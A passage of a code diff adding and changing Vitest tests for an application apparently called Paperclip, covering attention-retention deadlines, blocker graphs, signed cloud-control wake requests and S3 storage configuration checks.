expect(terminal.sourceId).toBe(terminals[99].id);
|
||||
const [expected] = await db.execute(sql`select updated_at::text as at,
|
||||
ceil(extract(epoch from updated_at) * 1000 + ${delay}) as due from issues where id = ${terminals[99].id}::uuid`);
|
||||
expect(terminal.activityAt).toBe(expected.at); expect(terminal.dueAt).toBe(Number(expected.due));
|
||||
await db.update(issues).set({ hiddenAt: new Date() }).where(eq(issues.id, terminals[99].id));
|
||||
expect(await service.check(terminal)).toBeNull();
|
||||
expect(await state("blocker_attention", terminals[99].id)).toBeNull();
|
||||
expect(await db.select().from(decisionArchiveNotificationOutbox)).toHaveLength(0);
|
||||
expect((await service.load(scope)).complete).toBe(true);
|
||||
const refreshed = await service.load(scope);
|
||||
expect(refreshed.rows!.some(entry => entry.sourceId === terminals[99].id)).toBe(false);
|
||||
});
|
||||
|
||||
it.each(["depth", "nodes"] as const)("preserves shallow terminal selection when an unrelated graph hits its %s limit", async limit => {
|
||||
const root = await insertIssue("blocked", { updatedAt: new Date() });
|
||||
const middle = await insertIssue("todo", { updatedAt: new Date() });
|
||||
const terminal = await insertIssue("backlog", { assigneeAgentId: agentId });
|
||||
const heavy = await insertIssue("blocked", { updatedAt: new Date() });
|
||||
const count = limit === "depth" ? BLOCKER_ATTENTION_MAX_DEPTH + 1 : BLOCKER_ATTENTION_MAX_NODES;
|
||||
const heavyNodes = await db.insert(issues).values(Array.from({ length: count }, () => ({ companyId,
|
||||
title: randomUUID(), status: "todo", updatedAt: new Date() }))).returning();
|
||||
await db.insert(issueRelations).values([
|
||||
{ companyId, issueId: middle.id, relatedIssueId: root.id, type: "blocks" },
|
||||
{ companyId, issueId: terminal.id, relatedIssueId: middle.id, type: "blocks" },
|
||||
...heavyNodes.map((node, index) => ({ companyId, issueId: node.id,
|
||||
relatedIssueId: limit === "nodes" || index === 0 ? heavy.id : heavyNodes[index - 1].id, type: "blocks" })),
|
||||
]);
|
||||
const owner = issueService(db);
|
||||
const expected = (await owner.listBlockerAttention(companyId, [root])).get(root.id)!;
|
||||
const limited = (await owner.listBlockerAttention(companyId, [heavy])).get(heavy.id)!;
|
||||
expect(expected.terminalBlockerIssueId).toBe(terminal.id);
|
||||
expect(limited.terminalBlockerIssueId).toBe(limited.directBlockerIssueId);
|
||||
for (const input of [[root, heavy], [heavy, root]]) {
|
||||
const batch = await owner.listBlockerAttention(companyId, input);
|
||||
expect(batch.get(root.id)).toEqual(expected); expect(batch.get(heavy.id)).toEqual(limited);
|
||||
}
|
||||
const page = await attentionRetentionService(db).load({ companyId, sourceKind: "blocker_attention" });
|
||||
const entry = page.rows!.find(item => item.rootId === root.id && item.variant === "terminal")!;
|
||||
expect(entry.sourceId).toBe(terminal.id); expect(entry.dueAt).toBeLessThan(Date.now());
|
||||
await attentionRetentionService(db).check(entry);
|
||||
expect((await state("blocker_attention", terminal.id))?.archivedAt).toBeInstanceOf(Date);
|
||||
expect(await db.select().from(decisionArchiveNotificationOutbox).where(eq(decisionArchiveNotificationOutbox.sourceId, terminal.id))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("keeps root-specific reachability and cycle budgets when another root explores farther", async () => {
|
||||
const root = await insertIssue("blocked");
|
||||
const chain = await db.insert(issues).values(Array.from({ length: BLOCKER_ATTENTION_MAX_DEPTH + 1 }, (_, index) => ({
|
||||
companyId, title: randomUUID(), status: index === BLOCKER_ATTENTION_MAX_DEPTH ? "in_progress"
|
||||
: index === BLOCKER_ATTENTION_MAX_DEPTH - 2 ? "blocked" : "todo", updatedAt: old() }))).returning();
|
||||
const overlapping = chain[BLOCKER_ATTENTION_MAX_DEPTH - 2];
|
||||
const cycle = await insertIssue("blocked");
|
||||
const leaf = await insertIssue("backlog", { assigneeAgentId: agentId });
|
||||
await db.insert(issueRelations).values([
|
||||
...chain.map((node, index) => ({ companyId, issueId: node.id, relatedIssueId: index ? chain[index - 1].id : root.id, type: "blocks" })),
|
||||
{ companyId, issueId: leaf.id, relatedIssueId: cycle.id, type: "blocks" },
|
||||
{ companyId, issueId: cycle.id, relatedIssueId: leaf.id, type: "blocks" },
|
||||
]);
|
||||
const owner = issueService(db), roots = [root, overlapping, cycle];
|
||||
const singles = new Map();
|
||||
for (const item of roots) singles.set(item.id, (await owner.listBlockerAttention(companyId, [item])).get(item.id));
|
||||
expect(singles.get(root.id).blockingTreeLive).toBe(false);
|
||||
expect(singles.get(overlapping.id).blockingTreeLive).toBe(true);
|
||||
for (const input of [roots, [...roots].reverse()]) {
|
||||
const batch = await owner.listBlockerAttention(companyId, input);
|
||||
for (const item of roots) expect(batch.get(item.id)).toEqual(singles.get(item.id));
|
||||
}
|
||||
});
|
||||
|
||||
it("scopes ordinary execution-control writes to their company", async () => {
|
||||
const otherCompany = randomUUID();
|
||||
await db.insert(companies).values({ id: otherCompany, name: "Other", issuePrefix: "OTHER" });
|
||||
await db.insert(issues).values(Array.from({ length: 125 }, () => ({ companyId: otherCompany,
|
||||
title: randomUUID(), status: "in_review", assigneeUserId: "board", updatedAt: old() })));
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId, status: "running" }).returning();
|
||||
const service = attentionRetentionService(db), load = vi.spyOn(service, "load");
|
||||
await start(service); await quiet(); load.mockClear();
|
||||
for (let count = 0; count < 3; count++) {
|
||||
await writeExecutionControl(db, DELIVERY_QUEUES.executionFinalization,
|
||||
tx => tx.update(heartbeatRuns).set({ updatedAt: new Date() }).where(eq(heartbeatRuns.id, run.id)), { companyId });
|
||||
await quiet();
|
||||
}
|
||||
expect(load).toHaveBeenCalled();
|
||||
expect(load.mock.calls.every(([scope]) => scope?.companyId === companyId)).toBe(true);
|
||||
});
|
||||
|
||||
it("registers and cancels budget deadlines through ordinary policy and incident producers", async () => {
|
||||
const service = budgetService(db);
|
||||
await service.upsertPolicy(companyId, { scopeType: "agent", scopeId: agentId, amount: 100,
|
||||
warnPercent: 85, hardStopEnabled: false, notifyEnabled: true }, "board");
|
||||
const retention = attentionRetentionService(db), load = vi.spyOn(retention, "load");
|
||||
await start(retention); await quiet(); load.mockClear();
|
||||
const [event] = await db.insert(costEvents).values({ companyId, agentId, provider: "openai", biller: "openai",
|
||||
billingType: "metered_api", model: "fixture", inputTokens: 100, outputTokens: 20,
|
||||
costCents: 90, occurredAt: new Date() }).returning();
|
||||
await service.evaluateCostEvent(event);
|
||||
await settle(); expect(coordinator!.nextWakeAt()).not.toBeNull();
|
||||
const [incident] = await db.select().from(budgetIncidents).where(eq(budgetIncidents.companyId, companyId));
|
||||
expect(incident).toMatchObject({ status: "open", thresholdType: "soft" });
|
||||
expect(await state("budget_alert", incident.id)).toBeNull();
|
||||
await service.upsertPolicy(companyId, { scopeType: "agent", scopeId: agentId, amount: 200 }, "board");
|
||||
await quiet();
|
||||
expect((await db.select().from(budgetIncidents).where(eq(budgetIncidents.id, incident.id)))[0].status).toBe("resolved");
|
||||
expect(load.mock.calls.every(([scope]) => scope?.companyId === companyId)).toBe(true);
|
||||
});
|
||||
|
||||
it("matches the existing feed across all eight remaining source kinds and exclusion variants", async () => {
|
||||
const origin = await insertIssue();
|
||||
const review = await insertIssue("in_review", { assigneeUserId: "board" });
|
||||
const blocker = await insertIssue("blocked", { unblockDescriptor: { owner: "board", action: "Choose a dependency" }, blockedTransitionAt: old() });
|
||||
await insertIssue("in_review", { hiddenAt: old(), assigneeUserId: "board" });
|
||||
const hidden = await insertIssue("todo", { hiddenAt: old() });
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId, status: "failed", contextSnapshot: { issueId: origin.id }, createdAt: old(), updatedAt: old(), finishedAt: old() }).returning();
|
||||
await db.insert(heartbeatRunEvents).values({ companyId, agentId, runId: run.id, seq: 1, eventType: "lifecycle", message: "Bounded retry exhausted: fixture" });
|
||||
await db.insert(decisions).values({ companyId, originAgentId: agentId, originIssueId: origin.id, originRunId: run.id,
|
||||
title: "Decision", body: "Choose", options: [], signedSpec: "fixture", targetSnapshots: {}, expiresAt: new Date(Date.now() + 86_400_000), updatedAt: old() });
|
||||
await db.insert(issueThreadInteractions).values([
|
||||
{ companyId, issueId: origin.id, kind: "ask_user_questions", payload: { questions: [] }, updatedAt: old() },
|
||||
{ companyId, issueId: origin.id, kind: "ask_user_questions", payload: { questions: [] }, addresseeAgentId: agentId, updatedAt: old() },
|
||||
{ companyId, issueId: origin.id, kind: "ask_user_questions", payload: { questions: [] }, addresseeUserId: "board", updatedAt: old() },
|
||||
{ companyId, issueId: hidden.id, kind: "ask_user_questions", payload: { questions: [] }, updatedAt: old() },
|
||||
]);
|
||||
await db.insert(issueRecoveryActions).values({ companyId, sourceIssueId: origin.id, kind: "execution", ownerType: "board", cause: "fixture", fingerprint: "fixture", nextAction: "Choose", updatedAt: old() });
|
||||
const [policy] = await db.insert(budgetPolicies).values({ companyId, scopeType: "company", scopeId: companyId, windowKind: "calendar_month_utc", amount: 100 }).returning();
|
||||
await db.insert(budgetIncidents).values({ companyId, policyId: policy.id, scopeType: "company", scopeId: companyId,
|
||||
metric: "billed_cents", windowKind: "calendar_month_utc", windowStart: old(), windowEnd: new Date(), thresholdType: "hard", amountLimit: 100, amountObserved: 100, updatedAt: old() });
|
||||
await db.insert(agents).values({ companyId, name: "Error", role: "engineer", status: "error", updatedAt: old() });
|
||||
const feed = await attentionService(db).list(companyId, { all: true, allowUnscopedAll: true, includeDismissed: true, excludeSources: ["approval", "join_request"] });
|
||||
const expected = [...new Set(feed.items.map(item => `${item.sourceKind}:${item.subject.id}`))].sort();
|
||||
const actual = [...new Set((await loadAll()).map(item => `${item.sourceKind}:${item.sourceId}`))].sort();
|
||||
expect(new Set(feed.items.map(item => item.sourceKind)).size).toBe(8); expect(actual).toEqual(expected);
|
||||
expect(actual).toContain(`review:${review.id}`); expect(actual).toContain(`blocker_attention:${blocker.id}`);
|
||||
await start(); for (const item of feed.items) await archived(item.sourceKind, item.subject.id); await quiet();
|
||||
});
|
||||
|
||||
it("keeps unseen sources, cancels their deadline, and reactivates when unkept or revived", async () => {
|
||||
const row = await insertIssue("in_review", { assigneeUserId: "board" });
|
||||
await decisionRetentionService(db).setKeep({ ...mutation("review", row.id), keep: true });
|
||||
await start(); await quiet(); expect((await state("review", row.id))?.archivedAt).toBeNull();
|
||||
await decisionRetentionService(db).setKeep({ ...mutation("review", row.id), keep: false });
|
||||
await archived("review", row.id); await quiet();
|
||||
await decisionRetentionService(db).revive(mutation("review", row.id)); await archived("review", row.id); await quiet();
|
||||
});
|
||||
|
||||
it("moves deadlines on source activity and cancels when the source leaves attention", async () => {
|
||||
const row = await insertIssue("in_review", { assigneeUserId: "board", updatedAt: new Date() });
|
||||
await start(); await settle(); const first = coordinator!.nextWakeAt()!;
|
||||
await change(tx => tx.update(issues).set({ updatedAt: new Date(Date.now() - delay + 600_000) }).where(eq(issues.id, row.id)));
|
||||
await settle(); expect(coordinator!.nextWakeAt()).toBeLessThan(first);
|
||||
await issueService(db).update(row.id, { status: "todo" }); await quiet(); expect(await state("review", row.id)).toBeNull();
|
||||
});
|
||||
|
||||
it("preserves outer transaction ownership and first writes during drain", async () => {
|
||||
await start(); await quiet(); draining = true;
|
||||
let id: string | undefined;
|
||||
await db.transaction(async outer => {
|
||||
await outer.transaction(async nested => {
|
||||
await notifyAttentionRetentionWork(nested, { companyId });
|
||||
id = (await insertIssue("in_review", { assigneeUserId: "board" }, nested as unknown as Db)).id;
|
||||
});
|
||||
await vi.advanceTimersByTimeAsync(60_000); expect(await state("review", id!)).toBeNull();
|
||||
});
|
||||
await vi.advanceTimersByTimeAsync(120_000); expect(await state("review", id!)).toBeNull();
|
||||
draining = false; await vi.advanceTimersByTimeAsync(30_000); await archived("review", id!); await quiet();
|
||||
await expect(db.transaction(async outer => {
|
||||
await outer.transaction(async nested => { await notifyAttentionRetentionWork(nested, { companyId }); await insertIssue("in_review", { assigneeUserId: "board" }, nested as unknown as Db); });
|
||||
throw new Error("rollback");
|
||||
})).rejects.toThrow("rollback");
|
||||
await quiet(); expect(await db.select().from(decisionRetention)).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("isolates companies, catches up at activation, and bounds retained-history pages", async () => {
|
||||
const other = randomUUID(); await db.insert(companies).values({ id: other, name: "Paused", issuePrefix: "RP", status: "paused" });
|
||||
const row = await insertIssue("in_review", { companyId: other, assigneeUserId: "board" });
|
||||
await db.insert(issues).values(Array.from({ length: 1000 }, () => ({ companyId, title: randomUUID(), status: "done", updatedAt: old() })));
|
||||
const service = attentionRetentionService(db); const page = await service.load({ companyId });
|
||||
expect(page).toEqual({ rows: [], complete: true });
|
||||
await start(service); await quiet(); expect(await db.select().from(decisionRetention)).toHaveLength(0);
|
||||
await companyService(db).update(other, { status: "active" });
|
||||
await vi.waitFor(async () => { await vi.advanceTimersByTimeAsync(1000); expect(await db.select().from(decisionRetention)).toHaveLength(1); });
|
||||
expect((await db.select().from(decisionRetention))[0]).toMatchObject({ companyId: other, sourceId: row.id }); await quiet();
|
||||
});
|
||||
it("preserves terminal blocker source identity and its own activity deadline", async () => {
|
||||
const root = await insertIssue("blocked", { unblockDescriptor: { owner: "board", action: "Pick an owner" }, blockedTransitionAt: old() });
|
||||
const terminal = await insertIssue("backlog", { assigneeAgentId: agentId, updatedAt: new Date(old().getTime() + 60_000) });
|
||||
await db.insert(issueRelations).values({ companyId, issueId: terminal.id, relatedIssueId: root.id, type: "blocks" });
|
||||
const feed = await attentionService(db).list(companyId, { all: true, allowUnscopedAll: true });
|
||||
const entries = await loadAll();
|
||||
const expected = feed.items.filter(item => item.sourceKind === "blocker_attention")
|
||||
.map(item => `${item.subject.id}:${new Date(item.activityAt).toISOString()}`).sort();
|
||||
expect(entries.filter(item => item.sourceKind === "blocker_attention")
|
||||
.map(item => `${item.sourceId}:${new Date(item.activityAt).toISOString()}`).sort()).toEqual(expected);
|
||||
expect(expected).toContain(`${terminal.id}:${terminal.updatedAt.toISOString()}`);
|
||||
await start(); await archived("blocker_attention", terminal.id); await archived("blocker_attention", root.id); await quiet();
|
||||
expect((await state("blocker_attention", terminal.id))?.sourceActivityAt).toEqual(terminal.updatedAt);
|
||||
expect((await state("blocker_attention", root.id))?.sourceActivityAt).toEqual(root.blockedTransitionAt);
|
||||
});
|
||||
|
||||
it("matches newest confirmations, independent gates, org invokability, and conversation visibility", async () => {
|
||||
const origin = await insertIssue();
|
||||
const conversation = await insertIssue("in_review", { conversationAgentId: agentId, conversationUserId: "board", conversationState: "waiting", assigneeAgentId: agentId });
|
||||
const hidden = await insertIssue("todo", { hiddenAt: old() });
|
||||
const [paused, manager, unhealthy] = await db.insert(agents).values([
|
||||
{ companyId, name: "Paused", role: "engineer", status: "paused" },
|
||||
{ companyId, name: "Terminated", role: "manager", status: "terminated" },
|
||||
{ companyId, name: "Unhealthy", role: "engineer", status: "active" },
|
||||
]).returning();
|
||||
await db.update(agents).set({ reportsTo: manager.id }).where(eq(agents.id, unhealthy.id));
|
||||
const common = { companyId, issueId: origin.id, kind: "request_confirmation", payload: { prompt: "Approve?" }, createdAt: old(), updatedAt: old() };
|
||||
const [older, newest, independent] = await db.insert(issueThreadInteractions).values([
|
||||
common, { ...common, createdAt: new Date(old().getTime() + 1000) },
|
||||
{ ...common, payload: { prompt: "Independent", qualityReview: { artifactKey: "copy" } } },
|
||||
{ ...common, createdAt: new Date(), addresseeUserId: "board" },
|
||||
{ ...common, addresseeAgentId: agentId },
|
||||
{ ...common, issueId: hidden.id },
|
||||
{ ...common, issueId: conversation.id, kind: "ask_user_questions", payload: { questions: [] } },
|
||||
{ ...common, issueId: conversation.id, addresseeAgentId: paused.id },
|
||||
{ ...common, issueId: conversation.id, addresseeAgentId: unhealthy.id, kind: "ask_user_questions", payload: { questions: [] } },
|
||||
] as typeof issueThreadInteractions.$inferInsert[]).returning();
|
||||
const feed = await attentionService(db).list(companyId, { all: true, allowUnscopedAll: true });
|
||||
const expected = [...new Set(feed.items.map(item => `${item.sourceKind}:${item.subject.id}`))].sort();
|
||||
expect([...new Set((await loadAll()).map(item => `${item.sourceKind}:${item.sourceId}`))].sort()).toEqual(expected);
|
||||
expect(expected).not.toContain(`issue_thread_interaction:${older.id}`);
|
||||
expect(expected).toContain(`issue_thread_interaction:${newest.id}`); expect(expected).toContain(`issue_thread_interaction:${independent.id}`);
|
||||
await start(); await archived("issue_thread_interaction", newest.id); await archived("issue_thread_interaction", independent.id); await quiet();
|
||||
await change(tx => tx.update(issueThreadInteractions).set({ status: "cancelled" }).where(eq(issueThreadInteractions.id, newest.id)));
|
||||
await archived("issue_thread_interaction", older.id); await quiet();
|
||||
});
|
||||
|
||||
it("excludes maintained reviews until a pending approval creates human attention", async () => {
|
||||
const row = await insertIssue("in_review", { assigneeAgentId: agentId });
|
||||
const [interaction] = await db.insert(issueThreadInteractions).values({ companyId, issueId: row.id,
|
||||
kind: "request_confirmation", addresseeAgentId: agentId, payload: { prompt: "Agent verdict" } }).returning();
|
||||
expect((await loadAll()).some(entry => entry.sourceKind === "review")).toBe(false);
|
||||
const [approval] = await db.insert(approvals).values({ companyId, type: "hire_agent", payload: {}, status: "pending" }).returning();
|
||||
await db.insert(issueApprovals).values({ companyId, issueId: row.id, approvalId: approval.id });
|
||||
const feed = await attentionService(db).list(companyId, { all: true, allowUnscopedAll: true });
|
||||
expect(feed.items.some(item => item.sourceKind === "review" && item.subject.id === row.id)).toBe(true);
|
||||
await start(); await archived("review", row.id); await quiet();
|
||||
expect(await state("issue_thread_interaction", interaction.id)).toBeNull();
|
||||
});
|
||||
|
||||
it("reactivates an exhausted failed run through the ordinary durable event producer", async () => {
|
||||
const origin = await insertIssue();
|
||||
const [run, newer] = await db.insert(heartbeatRuns).values([
|
||||
{ companyId, agentId, status: "failed", contextSnapshot: { issueId: origin.id }, createdAt: old(), finishedAt: old() },
|
||||
{ companyId, agentId, status: "succeeded", contextSnapshot: { issueId: origin.id }, createdAt: new Date(old().getTime() + 1000), finishedAt: old() },
|
||||
]).returning();
|
||||
await start(); await quiet();
|
||||
await appendHeartbeatRunEvent(db, { companyId, agentId, runId: run.id, eventType: "lifecycle", message: "Bounded retry exhausted after 3 attempts" });
|
||||
await quiet(); expect(await state("failed_run", run.id)).toBeNull();
|
||||
await change(tx => tx.delete(heartbeatRuns).where(eq(heartbeatRuns.id, newer.id)));
|
||||
await archived("failed_run", run.id); await quiet();
|
||||
});
|
||||
|
||||
it("cancels an agent error deadline through ordinary clearError", async () => {
|
||||
await db.update(agents).set({ status: "error", updatedAt: new Date() }).where(eq(agents.id, agentId));
|
||||
await start(); await settle(); expect(coordinator!.nextWakeAt()).not.toBeNull();
|
||||
await createAgentLifecycle(db).clearError(agentId); await quiet();
|
||||
expect(await state("agent_error_alert", agentId)).toBeNull();
|
||||
});
|
||||
|
||||
it("drains a paged backlog with source-scoped self notifications and leaves completed history quiet", async () => {
|
||||
await db.insert(issues).values(Array.from({ length: 225 }, () => ({ companyId, title: randomUUID(), status: "in_review", assigneeUserId: "board", updatedAt: old() })));
|
||||
const service = attentionRetentionService(db);
|
||||
const load = vi.spyOn(service, "load");
|
||||
await start(service);
|
||||
await vi.waitFor(async () => { await vi.advanceTimersByTimeAsync(1000); expect(await db.select().from(decisionRetention)).toHaveLength(225); }, { timeout: 30_000 });
|
||||
await quiet();
|
||||
const scopes = load.mock.calls.map(([scope]) => scope);
|
||||
expect(scopes.filter(scope => !scope)).toHaveLength(3);
|
||||
expect(scopes.filter(scope => scope && !scope.sourceId)).toHaveLength(0);
|
||||
expect(scopes.filter(scope => scope?.sourceId).length).toBeLessThanOrEqual(225);
|
||||
expect(new Set((await db.select().from(decisionRetention)).map(row => row.sourceId)).size).toBe(225);
|
||||
});
|
||||
|
||||
it("retries a failed atomic archive across drain and preserves notifications during a scan", async () => {
|
||||
const row = await insertIssue("in_review", { assigneeUserId: "board" });
|
||||
await db.execute(sql`create function attention_retention_fail() returns trigger language plpgsql as $$ begin raise exception 'retention injected'; end $$`);
|
||||
await db.execute(sql`create trigger attention_retention_fail before insert on decision_retention for each row execute function attention_retention_fail()`);
|
||||
await start(); expect(errors).toHaveLength(1); errors.length = 0;
|
||||
expect(await state("review", row.id)).toBeNull(); expect(await db.select().from(decisionArchiveNotificationOutbox)).toHaveLength(0);
|
||||
draining = true; await db.execute(sql`drop trigger attention_retention_fail on decision_retention`);
|
||||
statements.length = 0; await vi.advanceTimersByTimeAsync(120_000);
|
||||
expect(statements.length).toBeLessThanOrEqual(1);
|
||||
expect(statements.every(query => query.includes("pg_xact_status"))).toBe(true);
|
||||
statements.length = 0; await vi.advanceTimersByTimeAsync(300_000); expect(statements).toEqual([]);
|
||||
draining = false; await vi.advanceTimersByTimeAsync(30_000); await archived("review", row.id); await quiet();
|
||||
await coordinator!.stop(); coordinator = undefined;
|
||||
let release!: () => void; let scanned!: () => void;
|
||||
const gate = new Promise<void>(resolve => { release = resolve; });
|
||||
const entered = new Promise<void>(resolve => { scanned = resolve; });
|
||||
const service = attentionRetentionService(db), original = service.load;
|
||||
vi.spyOn(service, "load").mockImplementationOnce(async (...args) => { const result = await original(...args); scanned(); await gate; return result; });
|
||||
const starting = start(service); await entered;
|
||||
const next = await change(async tx => insertIssue("in_review", { assigneeUserId: "board" }, tx));
|
||||
release(); await starting; await archived("review", next.id); await quiet();
|
||||
});
|
||||
|
||||
it("registers and cancels a deadline through ordinary interaction creation and withdrawal", async () => {
|
||||
const origin = await insertIssue(); await start(); await quiet();
|
||||
const service = issueThreadInteractionService(db);
|
||||
const interaction = await service.create(origin, { kind: "request_confirmation", payload: { version: 1, prompt: "Approve the result?" } }, { userId: "board" });
|
||||
await settle(); expect(coordinator!.nextWakeAt()).not.toBeNull(); expect(await state("issue_thread_interaction", interaction.id)).toBeNull();
|
||||
await service.withdrawInteraction(origin, interaction.id, { reason: "No longer needed" }, { userId: "board" }); await quiet();
|
||||
});
|
||||
|
||||
});
|
||||
@@ -62,7 +62,7 @@ describeEmbeddedPostgres("attention service", () => {
|
||||
|
||||
beforeAll(async () => {
|
||||
if (!externalUrl) tempDb = await startEmbeddedPostgresTestDatabase("paperclip-attention-service-");
|
||||
db = createDb(externalUrl ?? tempDb!.connectionString);
|
||||
db = createDb(externalUrl ?? tempDb!.connectionString, { maxConnections: 6 });
|
||||
}, 30_000);
|
||||
|
||||
afterEach(async () => {
|
||||
|
||||
@@ -55,6 +55,7 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
|
||||
const config = paperclipConfigSchema.parse({
|
||||
$meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" },
|
||||
database: { mode: "postgres" }, logging: { mode: "cloud" },
|
||||
storage: { provider: "s3", s3: { bucket: "migration-bucket" } },
|
||||
server: { port: 3199 }, telemetry: { enabled: false },
|
||||
});
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
@@ -120,6 +121,18 @@ const keys = ["adapter-settings:v1", "cloud-runtime-config:v1", "cloud-configura
|
||||
} finally { await manager.stopAll(); }
|
||||
});
|
||||
|
||||
it("does not seed rejected storage and imports the corrected legacy file on retry", async () => {
|
||||
const config = await legacy();
|
||||
config.storage.provider = "local_disk";
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
await expect(migration().migrate()).rejects.toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
|
||||
expect(await peer.select().from(instanceSettings).where(inArray(instanceSettings.singletonKey, keys))).toEqual([]);
|
||||
config.storage.provider = "s3";
|
||||
await fs.writeFile(path.join(homeA, "config.json"), JSON.stringify(config));
|
||||
expect((await migration(peer).migrate()).migration.config.authority).toBe("legacy_file");
|
||||
expect((await cloudRuntimeConfigService(peer).inspectStored())?.config?.storage.provider).toBe("s3");
|
||||
});
|
||||
|
||||
it("serializes concurrent attempts and never imports stale inputs over later DB changes", async () => {
|
||||
await legacy();
|
||||
const [first, second] = await Promise.all([migration().migrate(), migration(peer).migrate()]);
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import { connectionEventWakeRoutes } from "../routes/connection-event-wake.js";
|
||||
import { registerConnectionEventWake } from "../services/connection-event-wake.js";
|
||||
import { generateKeyPairSync, sign } from "node:crypto";
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
CLOUD_CONTROL_AUDIENCE,
|
||||
CLOUD_CONTROL_HEADER,
|
||||
@@ -184,6 +186,7 @@ describe("verifyCloudControlAssertion", () => {
|
||||
});
|
||||
|
||||
describe("cloudControlMiddleware", () => {
|
||||
const eventOwner = {};
|
||||
const savedEnv: Record<string, string | undefined> = {};
|
||||
|
||||
beforeEach(() => {
|
||||
@@ -208,6 +211,7 @@ describe("cloudControlMiddleware", () => {
|
||||
next();
|
||||
});
|
||||
app.use(cloudControlMiddleware());
|
||||
app.use(connectionEventWakeRoutes(eventOwner));
|
||||
app.all("/api/instance/task-drain", (req, res) => {
|
||||
res.json({ actor: req.actor });
|
||||
});
|
||||
@@ -241,6 +245,22 @@ describe("cloudControlMiddleware", () => {
|
||||
return `${header}.${payload}.${signature}`;
|
||||
}
|
||||
|
||||
it("accepts only signed exact-action event hints and leaves unavailable receivers retryable", async () => {
|
||||
const app = createApp(); const path = "/api/instance/connector-events/wake";
|
||||
expect((await request(app).post(path)).status).toBe(403);
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, freshAssertion("lifecycle:read"))).status).toBe(401);
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, freshAssertion("connector-events:wake"))).status).toBe(503);
|
||||
const wake = vi.fn(); const stop = registerConnectionEventWake(eventOwner, wake);
|
||||
try {
|
||||
const token = freshAssertion("connector-events:wake");
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, token)).status).toBe(202);
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, token)).status).toBe(401);
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, freshAssertion("connector-events:wake"))).status).toBe(202);
|
||||
expect(wake).toHaveBeenCalledTimes(2);
|
||||
} finally { stop(); }
|
||||
expect((await request(app).post(path).set(CLOUD_CONTROL_HEADER, freshAssertion("connector-events:wake"))).status).toBe(503);
|
||||
});
|
||||
|
||||
it("installs a synthetic instance-admin board actor for a valid assertion, per method", async () => {
|
||||
const app = createApp();
|
||||
for (const [method, action] of [
|
||||
|
||||
@@ -66,6 +66,9 @@ beforeEach(() => {
|
||||
vi.stubEnv("PAPERCLIP_ALLOWED_HOSTNAMES", undefined);
|
||||
vi.stubEnv("PAPERCLIP_TAILNET_BIND_HOST", "100.100.0.1");
|
||||
vi.stubEnv("OPENAI_API_KEY", "environment-api-secret");
|
||||
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined);
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
|
||||
setCloudRuntimeConfigSnapshot(null);
|
||||
});
|
||||
|
||||
@@ -170,6 +173,10 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
|
||||
expect(fs.existsSync(configPath)).toBe(false);
|
||||
vi.stubEnv("PAPERCLIP_DEPLOYMENT_MODE", "authenticated");
|
||||
vi.stubEnv("PAPERCLIP_PUBLIC_URL", "https://environment.example.test");
|
||||
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined);
|
||||
vi.stubEnv("PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN", "test-token");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
|
||||
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "environment-bucket");
|
||||
expect(loadConfig()).toMatchObject({ databaseMode: "postgres", authBaseUrlMode: "explicit", secretsStrictMode: true, telemetryEnabled: true });
|
||||
});
|
||||
|
||||
@@ -284,6 +291,26 @@ describePostgres("Cloud runtime configuration in PostgreSQL", () => {
|
||||
expect(await second.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, "runtime-config-test-receipt"))).toEqual([]);
|
||||
});
|
||||
|
||||
it.each([undefined, "", " "])("rejects raw canonical S3 rows with missing or blank bucket %j", async bucket => {
|
||||
const config = structuredClone(projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig())));
|
||||
const raw = config;
|
||||
if (bucket === undefined) Reflect.deleteProperty(raw.storage.s3, "bucket");
|
||||
else raw.storage.s3.bucket = bucket;
|
||||
await first.insert(instanceSettings).values({ singletonKey: CLOUD_RUNTIME_CONFIG_KEY, general: { version: 1, revision: 0, config: raw } });
|
||||
await expect(initializeCloudRuntimeConfig(second)).rejects.toThrow(/Persisted Cloud runtime configuration is invalid/);
|
||||
expect(() => getCloudRuntimeConfigSnapshot()).toThrow(/not been initialized/);
|
||||
});
|
||||
|
||||
it.each(["database-bucket", "paperclip"])("accepts canonical DB bucket %s without local configuration provenance", async bucket => {
|
||||
const config = projectCloudRuntimeConfig(paperclipConfigSchema.parse(legacyConfig()));
|
||||
config.storage.s3.bucket = bucket;
|
||||
await cloudRuntimeConfigService(first).seedIfAbsent(config);
|
||||
fs.writeFileSync(configPath, "invalid local file must not be consulted");
|
||||
await initializeCloudRuntimeConfig(second);
|
||||
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: bucket });
|
||||
expect(readConfigFile({ includeProvenance: true })).toMatchObject({ explicitStorageS3Bucket: true });
|
||||
});
|
||||
|
||||
it("fails closed on invalid database settings without consulting a valid legacy file", async () => {
|
||||
